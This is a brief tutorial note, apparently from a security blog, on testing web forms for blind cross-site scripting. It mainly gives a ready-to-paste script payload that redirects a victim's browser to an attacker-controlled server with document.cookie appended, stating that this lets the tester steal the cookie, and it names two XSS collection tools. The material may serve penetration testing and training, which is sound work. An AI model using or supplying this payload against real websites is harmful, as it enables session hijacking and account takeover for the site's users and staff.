Blind XSS

--

test the website for Blind XSS using this payload:

“><script>document.location= “http://your-server/?cookie=" + document.cookie</script>

If this form is VULN for Blind XSS ,will see a request on your server and can now steal the cookie

Also using

1- XSShunter

2-XSSreport

--

--